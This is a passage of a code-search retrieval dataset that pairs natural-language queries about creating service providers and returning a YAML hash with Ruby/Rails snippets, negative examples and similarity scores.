end", "def yield\n @eff.yield.perform\n end", "def execute(event, obj)\n state_machine.run_callback event.name, obj do |obj|\n execute_action(event, obj)\n end\n end", "def perform(&block); end" ]
[ "0.74840677", "0.72575223", "0.72412246", "0.6878039", "0.61046064", "0.60508245", "0.60325855", "0.5896537", "0.58738023", "0.58711684", "0.58711684", "0.5865639", "0.5858588", "0.5858588", "0.58424044", "0.58421654", "0.58256066", "0.58203965", "0.58121145", "0.5808104", "0.5808104", "0.5799825", "0.57551503", "0.57551503", "0.5683659", "0.56235534", "0.5590644", "0.5585667", "0.55597115", "0.55594224", "0.5547491", "0.5530993", "0.5476665", "0.5475799", "0.5475799", "0.5437473", "0.5436001", "0.5428926", "0.5427485", "0.54120123", "0.5410901", "0.53996825", "0.53985834", "0.5377887", "0.5361594", "0.53565276", "0.5350218", "0.53033364", "0.52916706", "0.5285872", "0.52841216", "0.52832067", "0.52737916", "0.5266912", "0.5255981", "0.52514166", "0.5245376", "0.5244487", "0.5241414", "0.5241197", "0.52395296", "0.5231974", "0.5223539", "0.5223398", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.5221981", "0.521665", "0.52150905", "0.5210728", "0.5210488", "0.5208164", "0.5205025", "0.5204325", "0.5204325", "0.52020437", "0.52006894", "0.52001286", "0.52001286", "0.5199343", "0.51907754", "0.5186889", "0.518569", "0.51853544" ]
0.0
-1
Creates a service by a service Providers
def addservice @service = ServiceProvider.find_by(username: params[:serviceprovider][:username]); permitted = params[:serviceprovider].permit( :description, :category_id); @service.services.create(permitted); render json: @service end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @providerservice = Providerservice.new(providerservice_params)\n\n respond_to do |format|\n if @providerservice.save\n format.html { redirect_to @providerservice, notice: 'Providerservice was successfully created.' }\n format.json { render :show, status: :created, location: @providerservice }\n else\n format.html { render :new }\n format.json { render json: @providerservice.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_service_by_names(name, space_guid, service_plan_name, service_type_name)\n service = @client.services.select{ |srv| srv.label == service_type_name }\n\n if service != []\n service_plan_id = @client.service_plans_by_service_guid(service.first.guid).each.find { |current_plan| current_plan.name == service_plan_name }.guid\n create_service_instance(name, space_guid, service_plan_id)\n else\n return false\n end\n end", "def create\n @service_provider = ServiceProvider.new(service_provider_params)\n\n respond_to do |format|\n if @service_provider.save\n format.html { redirect_to @service_provider, notice: \"Service provider was successfully created.\" }\n format.json { render :show, status: :created, location: @service_provider }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @service_provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @provider = Provider.new(params[:provider])\n @services = Service.all\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to providers_path, notice: 'As informacoes foram salvas com sucesso.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_and_register_service(service_hash)\n # SystemDebug.debug(SystemDebug.services, :attach_ing_create_and_egister_service, service_hash)\n create_and_register_managed_service(service_hash)\n end", "def create\n service = current_account.services.build\n create_service = ServiceCreator.new(service: service)\n create_service.call(service_params.to_h)\n service.reload if service.persisted? # It has been touched\n respond_with(service)\n end", "def initialize_service_for_create\n @service = service_class.new(hashified_params, service_options)\n end", "def create\n service = current_account.services.build\n create_service = ServiceCreator.new(service: service)\n create_service.call(service_params)\n service.reload if service.persisted? # It has been touched\n respond_with(service)\n end", "def set_providerservice\n @providerservice = Providerservice.find(params[:id])\n end", "def create\n @service = Service.create(service_params)\n end", "def instantiate_service!(service, request)\n definition = service.kind_of?(Hash) ? service : service_definition_for(service.to_s)\n raise NoSuchService.new(\"Service '#{service}'' does not exist in umlaut-services.yml\") if definition.nil?\n className = definition[\"type\"] || definition[\"service_id\"]\n classConst = Kernel.const_get(className)\n service = classConst.new(definition)\n service.request = request\n return service\n end", "def service_create(name, display_name, executable_on_host,startup=2)\n\t\tif session_has_services_depend?\n\t\t\tmeterpreter_service_create(name, display_name, executable_on_host,startup)\n\t\telse\n\t\t\tshell_service_create(name, display_name, executable_on_host,startup)\n\t\tend\n\tend", "def create\n super(@@service)\n end", "def create_services_for_env(services=[])\n whitelist = ['name', 'label', 'plan', 'tags', 'plan_option', 'credentials']\n svcs_hash = {}\n services.each do |svc|\n svcs_hash[svc['label']] ||= []\n svc_hash = {}\n whitelist.each {|k| svc_hash[k] = svc[k] if svc[k]}\n svcs_hash[svc['label']] << svc_hash\n end\n svcs_hash.to_json\n end", "def provide(name, klass, *services)\n unless klass.kind_of? Class\n raise ArgumentError, \"can only provide Classes\"\n end\n \n define_method name.to_sym do |*args|\n klass.new(*(services.map { |service| container.fetch service } + args))\n end\n end", "def create_service\n super.tap do |service_template|\n service_template.cookbook('poise-service')\n create_monit_config\n end\n end", "def create\n req = VCAP::Services::Api::ServiceOfferingRequest.decode(request_body)\n logger.debug(\"Create service request: #{req.extract.inspect}\")\n\n # Should we worry about a race here?\n\n success = nil\n svc = Service.find_by_label(req.label)\n if svc\n raise CloudError.new(CloudError::FORBIDDEN) unless svc.verify_auth_token(@service_auth_token)\n attrs = req.extract.dup\n attrs.delete(:label)\n # Keep DB in sync with configs if the token changes in the config\n attrs[:token] = @service_auth_token if svc.is_builtin?\n svc.update_attributes!(attrs)\n else\n # Service doesn't exist yet. This can only happen for builtin services since service providers must\n # register with us to get a token.\n svc = Service.new(req.extract)\n raise CloudError.new(CloudError::FORBIDDEN) unless svc.is_builtin? && svc.verify_auth_token(@service_auth_token)\n svc.token = @service_auth_token\n svc.save!\n end\n\n render :json => {}\n end", "def factory(id = nil)\n if id\n OneProvision::Provider.new_with_id(id, @client)\n else\n OneProvision::Provider.new(OneProvision::Provider.build_xml,\n @client)\n end\n end", "def create\n @supplier = Supplier.find(params[:supplier_id])\n @service = @supplier.services.create(service_params)\n\n respond_to do |format|\n if @service.save\n format.html { redirect_to supplier_path(@supplier), notice: 'Service was successfully created.' }\n format.json { render action: 'show', status: :created, location: @service }\n else\n format.html { render action: 'new' }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n might_update_resource do\n provider.create\n end\n end", "def create\n might_update_resource do\n provider.create\n end\n end", "def create\n might_update_resource do\n provider.create\n end\n end", "def create\n might_update_resource do\n provider.create\n end\n end", "def instantiate_service\n @service = ContestService.new\n end", "def set_service_provider\n @service_provider = ServiceProvider.find(params[:id])\n end", "def set_service_provider\n @service_provider = ServiceProvider.find(params[:id])\n end", "def create\n @email_service_provider = EmailServiceProvider.new(params[:email_service_provider])\n\n respond_to do |format|\n if @email_service_provider.save\n format.html { redirect_to @email_service_provider, notice: 'Email service provider was successfully created.' }\n format.json { render json: @email_service_provider, status: :created, location: @email_service_provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_service_provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_provider_service\n @provider_service = ProviderService.find(params[:id])\n end", "def create_service_instance(name, space_guid, service_plan_id)\n service_plan_instance = CFoundry::V2::ServicePlan.new(service_plan_id, @client)\n service_instance = @client.managed_service_instance\n service_instance.name = name\n service_instance.service_plan = service_plan_instance\n service_instance.space = @client.space(space_guid)\n service_instance.create!\n service_instance\n end", "def find_or_create_provider!(attrs)\n provider = Provider.find_by(name: attrs[:name])\n if provider.blank?\n provider = Provider.create!(\n name: attrs[:name],\n firm_agfs_supplier_number: attrs[:firm_agfs_supplier_number],\n api_key: attrs[:api_key],\n provider_type: attrs[:provider_type],\n vat_registered: attrs[:vat_registered],\n roles: attrs[:roles],\n lgfs_supplier_numbers: attrs[:lgfs_supplier_numbers] || []\n )\n end\n provider\n end", "def create_provider_object(config, logger, metrics, redis_connection_pool, provider_class, provider_name, options)\n provider_klass = Vmpooler::PoolManager::Provider\n provider_klass.constants.each do |classname|\n next unless classname.to_s.casecmp(provider_class) == 0\n\n return provider_klass.const_get(classname).new(config, logger, metrics, redis_connection_pool, provider_name, options)\n end\n raise(\"Provider '#{provider_class}' is unknown for pool with provider name '#{provider_name}'\") if provider_klass.nil?\n end", "def initialize(*services)\n @services = services\n end", "def create_service(resource, actions)\n service_name = get_service_name()\n\n case resource.service_type\n when \"upstart\"\n service service_name do\n provider Chef::Provider::Service::Upstart\n supports :status => true, :restart => true, :reload => true\n action actions\n end\n when \"init.d\"\n service service_name do\n supports :status => true, :restart => true, :reload => true\n action actions\n end\n else\n raise \"dashing: Unknown service_type '#{resource.service_type}'\"\n end\nend", "def new_service(service)\n \tOrder.new(\n \t\torderNumber: 37592,\n \t\tservice: service,\n\t\t\torderType: \"установка розетки\",\n\t\t\tnameOrFIO: \"Нибелунг Зигфрид Беовульфыч\",\n\t\t\tstreet: \"бул. Амурский\",\n\t\t\thouse: 10,\n\t\t\tresponsiblePerson: \"Витя Кабан\",\n\t\t\tpersonType: \"Физ лицо\",\n\t\t\tformingDate: \"2013-11-13\")\n end", "def spAdd\n provider_name = $prompt.ask('Provider Name:')\n provider_phone = $prompt.ask('Provider Phone Number:')\n $all_sp.push(ServiceProvider.new(provider_name, provider_phone, [], {}, []))\n successPrint()\n end", "def students_service(hash_params)\n @students_service ||= StudentsService.new(hash_params)\n end", "def services\n @services ||= ApiFactory.new 'Repos::Services'\n end", "def new(*args)\n obj = super\n @provider_instances << obj\n obj\n end", "def create_service(data=nil)\n if (!data.blank? && data.is_a?(Hash))\n @service = Service.create(data)\n else\n @service = Service.create(:name => \"Test Service #{rand(1..1000)}\", :description => \"Test service description.\", :active => true, :probe => \"dummy\", :probe_config => {:value => 1}, :interval => 60, :clean_interval => 86400, :priority => Service::PRIORITY_NORMAL, :resume => :mean_value)\n end\n end", "def create\n matching_service_providers = ::ServiceOffering::FindMatchesForHelpRequest.call!(help_params: help_params)\n service_provider_ids = matching_service_providers.map(&:id)\n return redirect_to '/helps/matching_service_providers',\n service_providers: service_provider_ids\n end", "def create_tags(services, current_user)\n services.each{ |service|\n provider = service.providers.first if service.providers.length == 1\n group_name, name = service.latest_version.service_versionified.wsdl_location.split('/')[-1].split('.')\n create_annotations([{'tag' =>'soaplab'}, {'tag'=> group_name}, {'display_name'=> name.split('?')[0]}], provider, service )\n } \n end", "def add_service(service={})\n request :post, '/services', service\n end", "def create\n provider = Manage::Provider.find_by(login: manage_provider_params[:login])\n if provider\n flash_msg('danger', \"此账号已经存在\", 'new')\n else\n manage_provider = Manage::Provider.new(manage_provider_params)\n begin\n if manage_provider.save\n flash_msg('success', '添加供应商成功!', 'index')\n end\n rescue Exception => e\n flash_msg('danger', \"添加供应商失败!#{error_msg(manage_provider)}\", 'new')\n end\n end\n end", "def new_service(service)\n @services[service.name] = service\n\n notify_observable_base(ObservableBase::SERVICE_ADDED, {:domain => @name, :service => service.name})\n return @services[service.name]\n end", "def create_simple_provider_source\n create_source(PROVIDER_TEMPLATE, provider_path)\n end", "def get(name, optional_properties = {})\n raise ArgumentError.new(\"#{name} is not a registered service name\") unless set?(name)\n service_registration = @services[name]\n service = service_registration.construct(self, optional_properties)\n\n dependencies(name).each do |dependency|\n service.send(\"#{dependency}=\", get(dependency, optional_properties))\n end\n\n optional_instances = {}\n optional_properties.each_pair do |k,v|\n instance = v.is_a?(Class) ? v.new : v\n optional_instances[k] = instance\n end\n\n optional_instances.each_pair do |k, v|\n writer = \"#{k}=\"\n service.send(writer, v) if service.respond_to?(writer)\n optional_instances.each_pair do |k2,v2|\n next if k2 == k || !v2.respond_to?(writer)\n v2.send(writer, v)\n end\n end\n\n service_registration.initializers.each do |initializer|\n initializer.call(service)\n end\n\n service\n end", "def add_provider!(provider, provider_info = {}, access = {})\n Api::Request.new do |request|\n request[:access] = access\n request[:method] = :POST\n request[:path] = \"/mgmt/{{client_id}}/storages/#{provider}\"\n request[:request_body] = provider_info\n end.execute!\n\n end", "def create\n @supplier_provider = Supplier::Provider.new(supplier_provider_params)\n\n respond_to do |format|\n if @supplier_provider.save\n format.html { redirect_to @supplier_provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @supplier_provider }\n else\n format.html { render :new }\n format.json { render json: @supplier_provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def hatt_add_service(name, url_or_svc_cfg_hash)\n svc_cfg = case url_or_svc_cfg_hash\n when String\n { 'url' => url_or_svc_cfg_hash }\n when Hash\n url_or_svc_cfg_hash\n else\n raise ArgumentError, \"'#{url_or_svc_cfg_hash}' is not a url string nor hash with url key\"\n end\n\n init_config\n services_config = hatt_configuration['hatt_services']\n services_config[name] = svc_cfg\n @hatt_configuration.tcfg_set 'hatt_services', services_config\n\n @hatt_http_clients ||= {}\n @hatt_http_clients[name] = Hatt::HTTP.new hatt_configuration['hatt_services'][name]\n define_singleton_method name.intern do\n @hatt_http_clients[name]\n end\n end", "def register( name, opts={}, &callback )\n raise ArgumentError, \"expect block\" unless callback\n\n name = name.to_s.intern unless name.is_a?( Symbol )\n @service_points[ name ] =\n ServicePoint.new( self, name, @defaults.merge( opts ), &callback )\n\n self\n end", "def spawn(name)\n if service_list.include?(name)\n VinData::Services.const_get(classify_name(name)).new\n else\n valids = service_list.map(&:inspect).join(\", \")\n raise ConfigurationError, \"Please specify a valid service for VinData \" +\n \"(#{name.inspect} is not one of: #{valids}).\"\n end\n end", "def set_service_and_provider(id)\n service = Service.find(id)\n provider = User.preload(:profile).find(service.user_id)\n [service, provider]\n end", "def _provider( name, options )\n\n\t\t\t@_provider ||= { }\n\t\t\t@_provider[ name ] ||= (\n\n\t\t\t\tObject::const_get( name ).new( options )\n\t\t\t)\n\t\tend", "def create\n @v1_provider_operation = V1::ProviderOperation.new(v1_provider_operation_params)\n\n respond_to do |format|\n if @v1_provider_operation.save\n format.html { redirect_to @v1_provider_operation, notice: 'Provider operation was successfully created.' }\n format.json { render :show, status: :created, location: @v1_provider_operation }\n else\n format.html { render :new }\n format.json { render json: @v1_provider_operation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_carrier_service\n puts \" ____________ CREATE CARRIER SERVICE ______\"\n connectApi\n ShopifyAPI::CarrierService.create({\n \"carrier_service\": {\n \"name\": \"Livraison à domicile avec Urbit\",\n \"callback_url\": \"https://conticini-urbit.herokuapp.com/shipping\",\n \"service_discovery\": true\n }\n })\n end", "def create\n @provider = current_company.providers.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_service(name, description)\n response = @client.post(\"/api/v1/services\", { \"name\" => name, \"description\" => description })\n return JSON.parse(response.body)\n end", "def create_legacy_services_for_env(services=[])\n whitelist = ['name', 'type', 'vendor', 'version']\n as_legacy = services.map do |svc|\n leg_svc = {}\n whitelist.each {|k| leg_svc[k] = svc[k] if svc[k]}\n leg_svc['tier'] = svc['plan']\n leg_svc['options'] = svc['credentials']\n leg_svc\n end\n as_legacy.to_json\n end", "def create\n @provider_service = ProviderService.new(provider_service_params)\n \n\n respond_to do |format|\n if @provider_service.save\n format.js { flash.now[:notice] = \"Provider Service was successfully created.\" }\n format.html { redirect_to @provider_service, notice: 'Provider service was successfully created.' }\n format.json { render :show, status: :created, location: @provider_service }\n else\n @provider_masters = ProviderMaster.all\n @service_masters = ServiceMaster.all\n format.js { render :new }\n format.html { render :new }\n format.json { render json: @provider_service.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @provider = Provider.new(provider_params)\n\n if @provider.save\n render json: @provider, status: :created, location: @provider\n else\n render json: @provider.errors, status: :unprocessable_entity\n end\n end", "def create\n service = current_account.create_service(service_params)\n service.reload if service.persisted? # It has been touched\n respond_with(service)\n end", "def algolia_new_service\n services = Algolia::Index.new(\"services\")\n res = services.add_object({\"title\" => self.title, \"user_id\" => self.user_id, \"id\" => self.id, \"price\" => self.price, \"due_date\" => self.due_date,\n \"youtube_url\" => self.youtube_url, \"category\" => self.category, \"sub_category\" => self.sub_category, \"description\" => self.description,\n \"refund\" => self.refund, \"status\" => self.status, \"title_seo\" => self.title_seo})\n self.algolia_id = res[\"objectID\"]\n self.save\n end", "def add_to_services(name, type, description)\n data = {\n 'OS-KSADM:service' => {\n 'name' => name,\n 'type' => type,\n 'description' => description\n }\n }\n return post_request(address(\"/OS-KSADM/services\"), data, token())\n end", "def add_service(name)\n serv = @services[name] || new_service(Service.new(name, self))\n @services.sort{|a,b| \"#{a[0]}\"<=>\"#{b[0]}\"}\n serv\n end", "def create\n @provider = Provider.new(provider_params)\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @provider }\n else\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def locate(service_name)\n klass = @services[service_name]\n raise \"Unknown service: #{service_name}\" unless klass\n klass.new\n end", "def create\n params_map = ActiveSupport::HashWithIndifferentAccess.new(params[:services])\n @service = Service.new(params_map)\n @tenant = Tenant.find(session[:user_id])\n @property = Property.find(@tenant.property_id)\n @manager = Manager.find(@property.manager_id)\n @service.manager_id = @manager.id\n @service.property_id = @property.id\n @service.tenant_id = @tenant.id\n #sets resolved to false, only tenants have the ability to set these to completed\n @service.resolved = false\n if @service.save\n ServiceMailer.reminder(@service).deliver_now\n redirect_to '/tenants/show'\n else\n render \"new\"\n end\n end", "def get_service_provider(provider)\n case provider.class.to_s\n when 'Fixnum' then provider_by_id(provider)\n when 'String' then (provider.to_i > 0 ? provider_by_id(provider) : provider_by_name(provider))\n when 'Symbol' then provider_by_name(provider)\n when 'NilClass' then nil\n else\n provider\n end\n end", "def create\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: \"new\" }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def build(configurator:, name:, service: nil, **service_config) # :nodoc:\n new(**service_config).tap do |service_instance|\n service_instance.name = name\n end\n end", "def create_provider(actor)\n # Differentiate care providers by content of this field\n provider = {}\n if actor.at_xpath('./ccr:Person/ccr:Name/ccr:CurrentName/ccr:Given')\n provider[:given_name] = extract_data(actor, './ccr:Person/ccr:Name/ccr:CurrentName/ccr:Given')\n provider[:family_name] = extract_data(actor, './ccr:Person/ccr:Name/ccr:CurrentName/ccr:Family')\n provider[:specialty] = extract_data(actor, './ccr:Specialty/ccr:Text')\n end\n \n provider[:specialty] = extract_data(actor, './ccr:Specialty/ccr:Text')\n\n \n npi_ids = actor.at_xpath(\"./ccr:IDs[ccr:Type/ccr:Text = \\\"NPI\\\"]\")\n if npi_ids\n npi_id = npi_ids.at_xpath(\"./ccr:ID\")\n npi = npi_id.content\n provider[:npi] = npi if Provider.valid_npi?(npi)\n end\n \n find_or_create_provider(provider)\n end", "def inject(services_container); end", "def create\n @service = Service.new(name: service_params[:name], current_request: request)\n @service = @service.becomes(service_params[:name].constantize) if @service.valid?\n @service.assign_attributes(service_params.merge({current_request: request}))\n @service.user = current_user\n\n respond_to do |format|\n if @service.save\n @service.authenticate\n format.html { redirect_to @service, notice: get_update_message('created') }\n format.json { render :show, status: :created, location: @service }\n else\n format.html { render :new }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_service request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_service_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::ServiceDirectory::V1beta1::Service.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def providerservice_params\n params.require(:providerservice).permit(:name, :description, :providerprofile_id)\n end", "def new_climate_service\r\n @climate_service = ClimateService.new\r\n end", "def new_climate_service\r\n @climate_service = ClimateService.new\r\n end", "def choose_service_provider\n #validate permissions\n return unless permitted_for_user_type?(Client)\n # Retrieve service request\n return unless get_service_request?\n render_not_found \"service with id #{service.id} not found\" and return unless (service = @service_request.service)\n # validate ownership on this service\n render_forbidden \"you are not the client of this service request\" and return unless service.client_id == @current_user.id\n # Validate service request is approved\n render_forbidden \"service request with id #{@service_request.id} was not approved by service provider with id #{@service_request.service_provider.id}\" and return unless (@service_request.approved?)\n\n # Set service provider\n service.service_provider = @service_request.service_provider\n # Confirm service\n service.confirmed!\n #handle save\n render_unprocessable_entity \"couldn't save\" and return false unless service.save\n # Delete all other related requests\n ServiceRequest.delete_all(service: service)\n # Render success\n render_success\n\n # notify service provider\n NotificationsService.send_notification(@current_user, service_provider, NOTIFICATION_TYPE[:confirmed_you_as_provider], service.id)\n end", "def service(nickname, reserved, distribution, type)\n end", "def call\n @user.projects.find_or_create_by(name: \"Services\")\n end", "def create\n @provider = Provider.new(provider_params)\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render action: 'show', status: :created, location: @provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @service = @place.services.new(service_params)\n\n if @service.save\n redirect_to [@client, @place], notice: 'Service was successfully created.'\n else\n render :new\n end\n end", "def new\n @service = Service.new\n end", "def initialize(services: [])\n setup!\n load_services(services)\n end", "def create_service(opts = {})\n data, _status_code, _headers = create_service_with_http_info(opts)\n data\n end", "def create\n @title = t('view.providers.new_title')\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: t('view.providers.correctly_created') }\n format.json { render json: @provider, status: :created, location: @provider }\n else\n format.html { render action: 'new' }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @vendor = Vendor.new(params[:vendor])\n\t\t@vendor.user_id = current_user.id\n respond_to do |format|\n if @vendor.save\n\t\t\t\tif params[:service]\n\t\t\t\t\tparams[:service].keys.each do |f| \n\t\t\t\t\t\t@vendor.services.create(:name=>f,:is_active=>true)\n\t\t\t\t\tend\n\t\t\t\tend\n format.html { redirect_to @vendor, notice: 'Vendor was successfully created.' }\n format.json { render json: @vendor, status: :created, location: @vendor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vendor.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_service = Admin::Service.new(admin_service_regex_params)\n\n respond_to do |format|\n if @admin_service.save\n format.html { redirect_to @admin_service, notice: 'Platform was successfully created.' }\n format.json { render :show, status: :created, location: @admin_service }\n else\n format.html { render :new }\n format.json { render json: @admin_service.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:service] ? service_route = params[:service] : service_route = 'No service recognized (invalid callback)'\n\n omniauth = request.env['omniauth.auth']\n @authhash = Hash.new\n\n if omniauth and params[:service]\n omniauth['user_info']['email'] ? @authhash[:email] = omniauth['user_info']['email'] : @authhash[:email] = ''\n omniauth['user_info']['name'] ? @authhash[:name] = omniauth['user_info']['name'] : @authhash[:name] = ''\n omniauth['uid'] ? @authhash[:uid] = omniauth['uid'].to_s : @authhash[:uid] = ''\n omniauth['provider'] ? @authhash[:provider] = omniauth['provider'] : @authhash[:provider] = ''\n\n if @authhash[:uid] != '' and @authhash[:provider] != ''\n auth = Service.find_by_provider_and_uid @authhash[:provider], @authhash[:uid]\n\n # if the user is already signed in, they might want\n # to add another account\n if user_signed_in?\n if auth\n flash[:info] = \"Your account at #{@authhash[:provider].capitalize} is already connected with this site.\"\n else\n current_user.services.create!(\n provider: @authhash[:provider],\n uid: @authhash[:uid],\n uname: @authhash[:uname],\n uemail: @authhash[:uemail]\n )\n flash[:success] = \"Your #{@authhash[:provider].capitalize} account has been added.\"\n end\n\n redirect_to account_url\n else\n if auth\n # signin existing user\n session[:user_id] = auth.user_id\n session[:service_id] = auth.id\n\n flash[:success] = \"Logged in successfully!\"\n redirect_to root_url\n else\n # new user\n @newuser = User.new\n @newuser.name = @authhash[:name]\n @newuser.email = @authhash[:email]\n @newuser.services.build(:provider => @authhash[:provider], :uid => @authhash[:uid], :uname => @authhash[:name], :uemail => @authhash[:email])\n\n if @newuser.save!\n # signin existing user\n # in the session his user id and the service id used for signing in is stored\n session[:user_id] = @newuser.id\n session[:service_id] = @newuser.services.first.id\n\n flash[:success] = 'Your account has been created and you have been signed in!'\n redirect_to root_url\n else\n flash[:error] = 'This is embarrassing! There was an error while creating your account from which we were not able to recover.'\n redirect_to root_url\n end \n end\n end\n else\n flash[:error] = \"Error while authenticating via #{service_route}/#{authhash[:provider].capitalize}. \" +\n \"The service returned invalid data for the user ID.\"\n redirect_to signin_path\n end\n else\n flash[:error] = \"Error while authentication via #{service_route.capitalize}. The service did not return valid data.\"\n redirect_to signin_path\n end\n end", "def add_services(cookbook, services)\n cookbook_services[cookbook] = services\n service_list.merge!(services)\n end", "def create\n @provider = Provider.new(provider_params)\n @provider.user_id = current_user.id\n\n respond_to do |format|\n if @provider.save\n format.html { redirect_to @provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @provider }\n else\n format.html { render :new }\n format.json { render json: @provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_service\n # Check signals here to be nice and abort early if possible.\n check_signals!\n # Enable automatically creates the service with Runit.\n directory \"/var/log/#{new_resource.service_name}\" do\n owner 'root'\n group 'root'\n mode '700'\n end\n end", "def new\n self.default_provider.new\n end", "def add(service)\n\t\t\t@named[service.name] = service\n\t\tend", "def add(service)\n\t\t\t@named[service.name] = service\n\t\tend", "def create\n @provider = Provider.new(params[:provider])\n\n respond_to do |format|\n if @provider.save\n flash[:notice] = 'Provider was successfully created.'\n format.html { redirect_to providers_path }\n format.xml { render :xml => @provider, :status => :created, :location => @provider }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @provider.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @provider_provider_type = Provider::ProviderType.new(provider_provider_type_params)\n @provider_provider_type.user_created_id = current_user.id\n respond_to do |format|\n if @provider_provider_type.save\n format.html { redirect_to provider_provider_types_path, notice: I18n.t('provider_types.controller.create') }\n format.json { render :show, status: :created, location: @provider_provider_type }\n else\n format.html { render :new }\n format.json { render json: @provider_provider_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def add(service, options)\n i = find_or_create_item(options)\n i.add(service)\n end", "def create\n @info_provider = Info::Provider.new(info_provider_params)\n\n respond_to do |format|\n if @info_provider.save\n format.html { redirect_to @info_provider, notice: 'Provider was successfully created.' }\n format.json { render :show, status: :created, location: @info_provider }\n else\n format.html { render :new }\n format.json { render json: @info_provider.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @community_service = CommunityService.new(community_service_params)\n\n create_one_user_events\n\n respond_to do |format|\n if @community_service.save\n format.html { redirect_to @community_service, notice: 'Community service was successfully created.' }\n format.json { render :show, status: :created, location: @community_service }\n else\n format.html { render :new }\n format.json { render json: @community_service.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6662852", "0.655914", "0.6457722", "0.63426983", "0.62791264", "0.61642975", "0.6132738", "0.6124477", "0.6112092", "0.61052823", "0.60855204", "0.6019014", "0.60006094", "0.59816635", "0.5970865", "0.59550506", "0.59518224", "0.5930472", "0.59059626", "0.5866501", "0.5866501", "0.5866501", "0.5866501", "0.585326", "0.5815939", "0.5815939", "0.581439", "0.5793", "0.57834834", "0.57458204", "0.5738599", "0.57252187", "0.5716479", "0.5690028", "0.56838953", "0.56812507", "0.5666358", "0.56601316", "0.56466836", "0.56421155", "0.5639028", "0.56163615", "0.56065404", "0.56011146", "0.5583288", "0.55658054", "0.55193645", "0.55005854", "0.5495401", "0.5494972", "0.5494025", "0.5488785", "0.548586", "0.54838467", "0.54763883", "0.5470935", "0.5469991", "0.5458498", "0.5434877", "0.5430574", "0.54266256", "0.5423767", "0.5419775", "0.5409733", "0.54096836", "0.5376474", "0.5375197", "0.5369288", "0.53555346", "0.5346018", "0.5341072", "0.53395104", "0.5329002", "0.53250635", "0.53203136", "0.5318458", "0.5318458", "0.53184074", "0.53152084", "0.53106314", "0.5301336", "0.53009886", "0.5298232", "0.5297565", "0.5294774", "0.52899414", "0.5278373", "0.5269823", "0.52637637", "0.5260727", "0.5260169", "0.5253258", "0.5247741", "0.5244229", "0.5244229", "0.5239522", "0.5234972", "0.5234267", "0.52330554", "0.52329177" ]
0.55921066
44
Returns a Hash of the YAML file, including EE specific data if EE is used.
def to_h if merge_ee? deep_merge(@hash, @ee_hash) else @hash end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
